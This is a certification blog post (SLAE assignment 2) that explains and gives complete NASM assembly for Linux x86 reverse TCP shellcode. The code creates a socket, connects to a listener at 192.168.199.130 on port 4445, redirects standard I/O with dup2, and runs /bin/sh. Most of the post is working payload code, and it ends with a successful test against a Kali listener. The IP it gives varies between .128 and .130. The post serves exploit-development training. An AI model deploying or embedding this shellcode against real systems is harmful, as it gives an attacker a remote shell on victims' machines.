This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #2 - Create a Shell_Reverse_TCP shellcode
- Reverse connects to configured IP and Port
- Execs shell on successful connection
- IP and Port should be easily configurable
~~~~~~~~~~//*****//~~~~~~~~~~
Creating a REVERSE_TCP shell consist of 3 functions
0x1 socket
0x2 connect
0x3 execve
0x1 - socket
Similar to assignment #1, the first thing we need to do is set-up our socket. This can be accomplished by pushing the following parameters into the stack.
We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)
push 0x6 ;TCP or 0x6
push 0x1 ;SOCK_STREAM or 0x1
push 0x2 ;AF_INET or 0x2
We can then invoke the socketcall() system call, as shown below:
xor eax, eax ;remove x00/NULL byte
mov al, 0x66 ;syscall 102 for socketcall
xor ebx, ebx ;remove x00/NULL byte
mov bl, 0x1 ;net.h SYS_SOCKET 1 (0x1)
xor ecx, ecx ;remove x00/NULL byte
mov ecx, esp ;arg to SYS_SOCKET
int 0x80 ;interrupt/execute
mov edi, eax ;sockfd, store return value of eax into edi
0x2 - connect
Once our socket is set-up, the next step is to invoke the connect() system call. This will be used to connect back to the listening machine, through the socket using an IP address and Port destination.
Below shows what we need for the connect():
One main difference with reverse shell vs. a bind shell is that we need both the IP and port of the listening machine for the reverse shell. Specifically, we use 192.168.199.128 and port 4445 as the IP and port respectively. We load both the IP and port address into the stack using jmp-pop-call method again. We first do a jmp to the label that contains our IP and port. '192.168.199.1304445' is then loaded to the stack once the call command is called. We can then call the pop esi instruction which loads the '192.168.199.1304445' into the esi register. Finally, to split the IP and port we do a push dword[esi] which pushes the first 4 bytes (192.168.199.130) and then a push word[esi +4] which pushes the last two bytes (4445).
We then call the socketcall() and SYS_CONNECT.
reverse_jump:
jmp short reverse_ip_port
connect:
;int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen$
pop esi ;pops port+IP (total of 6 bytes), ESP addr to e$
xor eax, eax ;removes x00/NULL byte
xor ecx, ecx ;removes x00/NULL byte
push dword[esi] ;push IP (first 4 bytes of esi)
push word[esi +4] ;push PORT (last 2 bytes of esi)
mov al, 0x2 ;AF_INET IPV4
push ax
mov eax, esp ;store stack address into edc (struct sockaddr)
push 0x10 ;store length addr on stack
push eax ;push struct sockaddr to the stack
push edi ;sockfd from th eax _start
xor eax, eax ;removes x00/NULL byte
mov al, 0x66 ;syscall 102 for socketcall
xor ebx, ebx ;removes x00/NULL byte
mov bl, 0x03 ;net.h SYS_CONNECT 3
mov ecx, esp ;arg for SYS_CONNECT
int 0x80
reverse_ip_port:
call connect
reverse_ip dd 0x82c7a8c0 ;192.168.199.130, hex in little endian
reverse_port dw 0x5d11 ;port 4445, hex in little endian
0x3 - execve
Before execve() syscall can be invoked, we have to set up dup2() calls to ensure all the std in/out/error goes through the socket. We use the same technique utilized in assignment #1.
change_fd:
;multiple dup2() to ensure that stdin, stdout, std error will
;go through the socket connection
xor ecx, ecx ;removes 0x00/NULL byte, 0 (std in)
xor eax, eax ;removes 0x00/NULL byte
xor ebx, ebx ;removes 0x00/NULL byte
mov ebx, edi ;sockfd from the eax _start
mov al, 0x3f ;syscall 63 for dup2
int 0x80 ;interrupt/execute
mov al, 0x3f ;syscall 63 for dup2
inc ecx ;+1 to cx, 1 (std out)
int 0x80 ;interrupt/execute
mov al, 0x3f ;syscall 63 for dup2
inc ecx ;+1 to ecx, 2 (std error)
int 0x80 ;interrupt/execute
Shell time! Shells for everyone!
This is no different than assignment #1 shell. We use execve() syscall to invoke a /bin/sh, however this time it sends the file std in/out back to the listening machine.
execve:
xor eax, eax ;removes x00/NULL byte
push eax ;push first null dword
push 0x68732f2f ;hs//
push 0x6e69622f ;nib/
mov ebx, esp ;save stack pointer in ebx
push eax ;push null byte terminator
mov edx, esp ;moves address of 0x00hs//nib/ into edx
push ebx
mov ecx, esp
mov al, 0xb ;syscall 11 for execve
int 0x80
Testing our reverse shell
First, we start with compiling our nasm file into executable and then opening up a listener in our Kali box.SUCCESS...our reverse shell works.
We then use objdump to get our actual shellcode...
Copy the shellcode into our c file, test reverse shell again and we get another successful reverse shell to the kali listener.
Comments
Post a Comment